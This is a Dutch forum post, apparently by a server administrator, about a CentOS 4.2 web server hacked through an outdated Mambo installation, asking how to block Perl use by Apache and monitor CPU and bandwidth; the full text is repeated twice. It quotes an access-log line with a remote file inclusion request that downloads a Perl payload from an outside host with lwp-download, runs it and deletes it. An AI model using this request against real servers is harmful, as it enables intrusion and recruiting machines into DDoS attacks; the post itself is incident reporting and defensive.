Hallo,
Vandaag heeft een malafide script één van mijn servers (CentOS 4.2) in het datacenter kunnen binnendringen via een verouderde Mambo versie bij een van de virtual hosting klanten.
Citaat uit het access log van 'le moment cruciale':
Kortom: het script haalt via een fout in Mambo het zaakje binnen .. voert het dan uit via Perl .. en verwijdert zichzelf weer.
De source-code van het script is uit de URL te extraheren .. en anders heb ik het nog wel.
Ik heb daarna alles ge-killed (processen met fakenaam 'kotfare') en gereboot en de betreffende client op inactief gezet.
Verder ook nog even 'forensisch' bezig geweest om zoveel mogelijk te checken inzake de integriteit van de server.
Helaas heeft mijn server (GELUKKIG MAAR) een uur flink data liggen stouwen op 100 Mbit en 97% CPU (dus ik was DDOS donateur zeg maar). En dat kostte me dus ook aardig wat dataverkeer (10 GB).
Maar HOE kan ik dit nou voorkomen in de toekomst ?
- Is het te voorkomen dat de Perl binary door Apache wordt aangeroepen .. mijn klanten gebruiken voorzover ik weet toch geen Perl. Kan ik de binary zomaar chmodden naar 750 zonder wat te breken ?
(Doe ik ook altijd met 'wget' enzo).
- Bestaat er een soort monitoring tool , alert die mij meteen mailt als de CPU te lang op >50% blijft hangen .. of als de bandwidth te lang 100 Mbit is.
- Nog andere tips om het zaakje beter onder controle te krijgen ? Want als ik hier niet op tijd bij was geweest had het me veel geld gekost inzake dataverkeer !!
Verder draait PHP NIET in Safe-mode .. dit is een vereiste .. uit klantvriendelijkheid. Wel met een strenge open_basedir policy. De 'suexec' heeft in dit geval niets uitgehaald voor zover ik kan zien. Perl werd direct als binary aangesproken.
Vandaag heeft een malafide script één van mijn servers (CentOS 4.2) in het datacenter kunnen binnendringen via een verouderde Mambo versie bij een van de virtual hosting klanten.
Citaat uit het access log van 'le moment cruciale':
code:
1
2
| access_log:208.50.235.127 [25/Jan/2006:06:39:43 +0100] "GET /index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://www.s0l4r1sr0x.com/tool.gif?&cmd=cd%20/tmp/;lwp-download%20http://www.cuti.ch/cuti/sess3024_;perl%20sess3024_;rm%20-rf%20sess3024*? HTTP/1.0" 200 25072 "-" "Mozilla/5.0" |
Kortom: het script haalt via een fout in Mambo het zaakje binnen .. voert het dan uit via Perl .. en verwijdert zichzelf weer.
De source-code van het script is uit de URL te extraheren .. en anders heb ik het nog wel.
Ik heb daarna alles ge-killed (processen met fakenaam 'kotfare') en gereboot en de betreffende client op inactief gezet.
Verder ook nog even 'forensisch' bezig geweest om zoveel mogelijk te checken inzake de integriteit van de server.
Helaas heeft mijn server (GELUKKIG MAAR) een uur flink data liggen stouwen op 100 Mbit en 97% CPU (dus ik was DDOS donateur zeg maar). En dat kostte me dus ook aardig wat dataverkeer (10 GB).
Maar HOE kan ik dit nou voorkomen in de toekomst ?
- Is het te voorkomen dat de Perl binary door Apache wordt aangeroepen .. mijn klanten gebruiken voorzover ik weet toch geen Perl. Kan ik de binary zomaar chmodden naar 750 zonder wat te breken ?
(Doe ik ook altijd met 'wget' enzo).
- Bestaat er een soort monitoring tool , alert die mij meteen mailt als de CPU te lang op >50% blijft hangen .. of als de bandwidth te lang 100 Mbit is.
- Nog andere tips om het zaakje beter onder controle te krijgen ? Want als ik hier niet op tijd bij was geweest had het me veel geld gekost inzake dataverkeer !!
Verder draait PHP NIET in Safe-mode .. dit is een vereiste .. uit klantvriendelijkheid. Wel met een strenge open_basedir policy. De 'suexec' heeft in dit geval niets uitgehaald voor zover ik kan zien. Perl werd direct als binary aangesproken.